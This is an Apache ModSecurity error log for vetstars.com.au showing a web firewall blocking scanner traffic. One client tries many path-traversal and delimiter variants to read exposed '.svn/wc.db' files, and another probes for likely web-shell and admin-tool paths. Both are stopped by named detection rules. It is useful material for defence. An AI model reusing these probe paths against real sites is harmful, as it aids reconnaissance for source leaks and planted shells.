[Mon Dec 01 19:49:39.714363 2025] [:error] [pid 5158:tid 5168] [client 213.21.239.4:54648] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/repos/.svn/wc.db"] [unique_id "aS2A01snIOgHXYZw9rYy5QAAAYg"]
[Mon Dec 01 19:49:39.715258 2025] [:error] [pid 5158:tid 5162] [client 213.21.239.4:54694] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.svn/%0Awc.db"] [unique_id "aS2A01snIOgHXYZw9rYy5gAAAYI"]
[Mon Dec 01 19:49:39.715274 2025] [:error] [pid 3384:tid 3404] [client 213.21.239.4:54666] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/;/.svn/wc.db"] [unique_id "aS2A04rlvm8bC96s6ZFP-AAAAJI"]
[Mon Dec 01 19:49:39.716376 2025] [:error] [pid 5158:tid 5181] [client 213.21.239.4:54728] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/static../.svn/wc.db"] [unique_id "aS2A01snIOgHXYZw9rYy5wAAAZU"]
[Mon Dec 01 19:49:39.721915 2025] [:error] [pid 3384:tid 3386] [client 213.21.239.4:54640] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.svn/wc.db;.."] [unique_id "aS2A04rlvm8bC96s6ZFP-gAAAIA"]
[Mon Dec 01 19:49:39.724441 2025] [:error] [pid 3246:tid 3251] [client 213.21.239.4:54600] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au../.svn/wc.db"] [unique_id "aS2A01kT8fezoNl7qjd_TAAAAEI"]
[Mon Dec 01 19:49:39.724745 2025] [:error] [pid 3384:tid 3397] [client 213.21.239.4:54658] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.svn;/wc.db"] [unique_id "aS2A04rlvm8bC96s6ZFP-QAAAIs"]
[Mon Dec 01 19:49:39.725498 2025] [:error] [pid 5158:tid 5178] [client 213.21.239.4:54624] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.svn/wc.db"] [unique_id "aS2A01snIOgHXYZw9rYy6AAAAZI"]
[Mon Dec 01 19:49:39.725843 2025] [:error] [pid 5158:tid 5171] [client 213.21.239.4:54702] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.svn/wc.db;"] [unique_id "aS2A01snIOgHXYZw9rYy6QAAAYs"]
[Mon Dec 01 19:49:39.727497 2025] [:error] [pid 3307:tid 3320] [client 213.21.239.4:54718] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/samples/.svn/wc.db"] [unique_id "aS2A00hV_0w1hrv72n78wwAAAQs"]
[Mon Dec 01 19:49:39.727598 2025] [core:error] [pid 3307:tid 3313] [client 213.21.239.4:54740] AH10244: invalid URI path (/../wc.db)
[Mon Dec 01 19:49:39.733124 2025] [:error] [pid 3247:tid 3285] [client 213.21.239.4:54706] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/s3/.svn/wc.db"] [unique_id "aS2A0yMO2n3Q0MZfETIy5QAAAMk"]
[Mon Dec 01 19:49:39.733932 2025] [:error] [pid 3246:tid 3269] [client 213.21.239.4:54744] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/repository/.svn/wc.db"] [unique_id "aS2A01kT8fezoNl7qjd_TQAAAFQ"]
[Mon Dec 01 19:49:39.735484 2025] [:error] [pid 3384:tid 3393] [client 213.21.239.4:54680] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/wc.db"] [unique_id "aS2A04rlvm8bC96s6ZFP-wAAAIc"]
[Mon Dec 01 19:49:40.711299 2025] [:error] [pid 3247:tid 3294] [client 213.21.239.4:54846] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/../.svn/wc.db"] [unique_id "aS2A1CMO2n3Q0MZfETIy5wAAANI"]
[Mon Dec 01 19:49:40.711593 2025] [:error] [pid 3247:tid 3287] [client 213.21.239.4:54780] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.svn/wc.db"] [unique_id "aS2A1CMO2n3Q0MZfETIy6AAAAMs"]
[Mon Dec 01 19:49:40.712784 2025] [:error] [pid 5158:tid 5164] [client 213.21.239.4:54810] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/.svn;/wc.db"] [unique_id "aS2A1FsnIOgHXYZw9rYy7AAAAYQ"]
[Mon Dec 01 19:49:40.713089 2025] [:error] [pid 5158:tid 5165] [client 213.21.239.4:54760] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/..;/.svn/wc.db"] [unique_id "aS2A1FsnIOgHXYZw9rYy7QAAAYU"]
[Mon Dec 01 19:49:40.713770 2025] [:error] [pid 3247:tid 3291] [client 213.21.239.4:54796] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.svn/wc.db;.."] [unique_id "aS2A1CMO2n3Q0MZfETIy6QAAAM8"]
[Mon Dec 01 19:49:40.715091 2025] [:error] [pid 3247:tid 3295] [client 213.21.239.4:54834] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.svn/wc.db;"] [unique_id "aS2A1CMO2n3Q0MZfETIy6gAAANM"]
[Mon Dec 01 19:49:40.716318 2025] [:error] [pid 5158:tid 5180] [client 213.21.239.4:54818] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/;/.svn/wc.db"] [unique_id "aS2A1FsnIOgHXYZw9rYy7gAAAZQ"]
[Mon Dec 01 19:49:40.720176 2025] [:error] [pid 3247:tid 3281] [client 213.21.239.4:54772] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.svn/%0Awc.db"] [unique_id "aS2A1CMO2n3Q0MZfETIy6wAAAMU"]
[Mon Dec 01 19:49:40.721381 2025] [:error] [pid 3247:tid 3292] [client 213.21.239.4:54828] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/static../.svn/wc.db"] [unique_id "aS2A1CMO2n3Q0MZfETIy7AAAANA"]
[Mon Dec 01 19:49:42.712915 2025] [:error] [pid 5158:tid 5163] [client 213.21.239.4:52234] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/.svn/wc.db"] [unique_id "aS2A1lsnIOgHXYZw9rYy9QAAAYM"]
[Mon Dec 01 19:49:42.717507 2025] [:error] [pid 5158:tid 5180] [client 213.21.239.4:52260] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/shop/.svn/wc.db"] [unique_id "aS2A1lsnIOgHXYZw9rYy9gAAAZQ"]
[Mon Dec 01 19:49:42.720057 2025] [:error] [pid 5158:tid 5164] [client 213.21.239.4:52216] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wiki/.svn/wc.db"] [unique_id "aS2A1lsnIOgHXYZw9rYy9wAAAYQ"]
[Mon Dec 01 19:49:42.720367 2025] [:error] [pid 3384:tid 3394] [client 213.21.239.4:52228] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/.svn/wc.db"] [unique_id "aS2A1orlvm8bC96s6ZFQAgAAAIg"]
[Mon Dec 01 19:49:42.720914 2025] [:error] [pid 5158:tid 5168] [client 213.21.239.4:52256] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/.svn/wc.db"] [unique_id "aS2A1lsnIOgHXYZw9rYy-AAAAYg"]
[Mon Dec 01 19:49:42.721560 2025] [:error] [pid 3384:tid 3398] [client 213.21.239.4:52202] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/static/.svn/wc.db"] [unique_id "aS2A1orlvm8bC96s6ZFQAwAAAIw"]
[Mon Dec 01 19:49:42.722604 2025] [:error] [pid 5158:tid 5165] [client 213.21.239.4:52218] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/store/.svn/wc.db"] [unique_id "aS2A1lsnIOgHXYZw9rYy-QAAAYU"]
[Mon Dec 01 19:49:42.723991 2025] [:error] [pid 5158:tid 5171] [client 213.21.239.4:52288] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/static../.svn/wc.db"] [unique_id "aS2A1lsnIOgHXYZw9rYy-gAAAYs"]
[Mon Dec 01 19:49:42.728872 2025] [:error] [pid 3307:tid 3333] [client 213.21.239.4:52304] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/staging/.svn/wc.db"] [unique_id "aS2A1khV_0w1hrv72n78yAAAARg"]
[Mon Dec 01 19:49:42.729166 2025] [:error] [pid 5158:tid 5181] [client 213.21.239.4:52212] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vendor/.svn/wc.db"] [unique_id "aS2A1lsnIOgHXYZw9rYy-wAAAZU"]
[Mon Dec 01 19:49:42.729875 2025] [:error] [pid 3247:tid 3298] [client 213.21.239.4:52310] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/uat/.svn/wc.db"] [unique_id "aS2A1iMO2n3Q0MZfETIy8AAAANY"]
[Mon Dec 01 19:49:42.731490 2025] [:error] [pid 5158:tid 5183] [client 213.21.239.4:52248] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/web/.svn/wc.db"] [unique_id "aS2A1lsnIOgHXYZw9rYy_AAAAZc"]
[Mon Dec 01 19:49:42.740887 2025] [:error] [pid 3247:tid 3297] [client 213.21.239.4:52272] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/site/.svn/wc.db"] [unique_id "aS2A1iMO2n3Q0MZfETIy8QAAANU"]
[Mon Dec 01 19:49:43.695126 2025] [:error] [pid 3343:tid 3357] [client 213.21.239.4:52326] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/.svn/wc.db"] [unique_id "aS2A17Lh6htIpruGDDnPqAAAAAw"]
[Mon Dec 01 19:59:19.746864 2025] [:error] [pid 3247:tid 3277] [client 4.215.220.131:53775] [client 4.215.220.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aS2DFyMO2n3Q0MZfETI3cAAAAME"]
[Mon Dec 01 19:59:31.172226 2025] [:error] [pid 3343:tid 3365] [client 4.215.220.131:53864] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aS2DI7Lh6htIpruGDDnS7QAAABQ"]
[Mon Dec 01 19:59:31.533616 2025] [:error] [pid 3384:tid 3399] [client 4.215.220.131:53865] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aS2DI4rlvm8bC96s6ZFS9gAAAI0"]
[Mon Dec 01 19:59:31.815680 2025] [:error] [pid 5158:tid 5182] [client 4.215.220.131:53788] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aS2DI1snIOgHXYZw9rY2rQAAAZY"]
[Mon Dec 01 19:59:32.259985 2025] [:error] [pid 3343:tid 3363] [client 4.215.220.131:53859] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aS2DJLLh6htIpruGDDnS7gAAABI"]
[Mon Dec 01 19:59:32.639016 2025] [:error] [pid 5158:tid 5160] [client 4.215.220.131:53765] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aS2DJFsnIOgHXYZw9rY2rgAAAYA"]
[Mon Dec 01 19:59:33.045940 2025] [:error] [pid 3343:tid 3352] [client 4.215.220.131:53884] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aS2DJbLh6htIpruGDDnS8AAAAAc"]
[Mon Dec 01 19:59:33.326310 2025] [:error] [pid 3384:tid 3406] [client 4.215.220.131:53837] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aS2DJYrlvm8bC96s6ZFS-gAAAJQ"]
[Mon Dec 01 19:59:33.593925 2025] [:error] [pid 5158:tid 5181] [client 4.215.220.131:53849] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aS2DJVsnIOgHXYZw9rY2rwAAAZU"]
[Mon Dec 01 19:59:33.874099 2025] [:error] [pid 3307:tid 3318] [client 4.215.220.131:53842] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aS2DJUhV_0w1hrv72n7_ygAAAQk"]
[Mon Dec 01 19:59:34.285766 2025] [:error] [pid 3247:tid 3279] [client 4.215.220.131:53780] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aS2DJiMO2n3Q0MZfETI3jwAAAMM"]
[Mon Dec 01 19:59:34.592650 2025] [:error] [pid 3247:tid 3280] [client 4.215.220.131:53781] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aS2DJiMO2n3Q0MZfETI3kAAAAMQ"]
[Mon Dec 01 19:59:35.004465 2025] [:error] [pid 3247:tid 3278] [client 4.215.220.131:53767] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aS2DJyMO2n3Q0MZfETI3lgAAAMI"]
[Mon Dec 01 19:59:35.296172 2025] [:error] [pid 5158:tid 5166] [client 4.215.220.131:53785] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aS2DJ1snIOgHXYZw9rY2tQAAAYY"]
[Mon Dec 01 19:59:35.529952 2025] [:error] [pid 5158:tid 5168] [client 4.215.220.131:53786] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aS2DJ1snIOgHXYZw9rY2tgAAAYg"]
[Mon Dec 01 19:59:35.889720 2025] [:error] [pid 3247:tid 3283] [client 4.215.220.131:53761] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aS2DJyMO2n3Q0MZfETI3mQAAAMc"]
[Mon Dec 01 19:59:36.142697 2025] [:error] [pid 3247:tid 3290] [client 4.215.220.131:53784] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aS2DKCMO2n3Q0MZfETI3mwAAAM4"]
[Mon Dec 01 19:59:36.582975 2025] [:error] [pid 5158:tid 5164] [client 4.215.220.131:53863] [client 4.215.220.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/crop/zmFM.php"] [unique_id "aS2DKFsnIOgHXYZw9rY2uAAAAYQ"]
